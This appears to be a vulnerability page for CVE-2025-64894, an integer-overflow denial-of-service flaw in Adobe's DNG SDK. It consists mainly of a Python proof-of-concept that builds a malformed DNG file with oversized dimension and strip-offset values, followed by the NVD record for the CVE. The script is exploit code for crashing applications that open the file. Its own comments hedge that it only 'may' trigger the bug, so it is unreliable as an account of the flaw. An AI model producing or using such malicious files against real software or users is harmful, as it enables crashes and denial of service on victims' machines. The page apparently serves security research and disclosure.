CVE-2025-64894

#!/usr/bin/env python3 """ CVE-2025-64894 PoC - Adobe DNG SDK Integer Overflow This PoC generates a minimal malicious DNG file to trigger integer overflow. WARNING: For educational and security research purposes only. """ import struct import os def create_malicious_dng(output_path): """ Create a minimal DNG file that may trigger integer overflow in DNG SDK. The vulnerability exists in how DNG SDK handles certain IFD entries with specially crafted values that cause integer overflow during size calculations. """ # TIFF header tiff_header = bytearray([ 0x49, 0x49, 0x2A, 0x00, # Byte order: little-endian 0x08, 0x00, 0x00, 0x00 # Offset to first IFD ]) # IFD0 structure # Number of directory entries num_entries = 6 ifd_entries = bytearray() # Entry 1: NewSubFileType (Tag 254) - LONG type # Value that could trigger overflow when combined with other calculations ifd_entries += struct.pack('<HHII', 254, 4, 1, 0) # Entry 2: ImageWidth (Tag 256) - SHORT type # Large dimension value ifd_entries += struct.pack('<HHII', 256, 3, 1, 0xFFFF) # Entry 3: ImageLength (Tag 257) - SHORT type # Large dimension value that may cause overflow in row stride calculations ifd_entries += struct.pack('<HHII', 257, 3, 1, 0xFFFF) # Entry 4: BitsPerSample (Tag 258) - SHORT type ifd_entries += struct.pack('<HHII', 258, 3, 3, 0) # Entry 5: Compression (Tag 259) - SHORT type ifd_entries += struct.pack('<HHII', 259, 3, 1, 1) # Entry 6: StripOffsets (Tag 273) - LONG type # This entry with specially crafted count could trigger integer overflow # when SDK calculates total data size large_offset = 0x7FFFFFFF # Near INT32_MAX - potential overflow trigger ifd_entries += struct.pack('<HHII', 273, 4, 1, large_offset) # Next IFD offset (0 means no more IFDs) next_ifd = struct.pack('<I', 0) # Combine all parts malicious_dng = tiff_header + struct.pack('<H', num_entries) + ifd_entries + next_ifd # Add some padding data to simulate image data padding = b'\x00' * 1024 malicious_dng += padding with open(output_path, 'wb') as f: f.write(malicious_dng) print(f"[+] Malicious DNG file created: {output_path}") print(f"[+] File size: {len(malicious_dng)} bytes") print(f"[!] This PoC attempts to trigger CVE-2025-64894") print(f"[!] The vulnerability is an integer overflow in DNG SDK's size calculations") if __name__ == "__main__": output_file = "CVE-2025-64894_poc.dng" create_malicious_dng(output_file) print("\n[*] Note: Actual exploitation requires specific conditions") print("[*] and may vary based on DNG SDK version and compilation options")

{"cve": {"id": "CVE-2025-64894", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:07.983", "lastModified": "2025-12-10T16:03:12.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DNG SDK versions 1.7.0 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could lead to application denial-of-service. An attacker could exploit this issue to cause the application to crash or become unresponsive. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.0", "matchCriteriaId": "8A37E544-82AE-4E72-BA5D-A8C98061CEF8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dng-sdk/apsb25-118.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}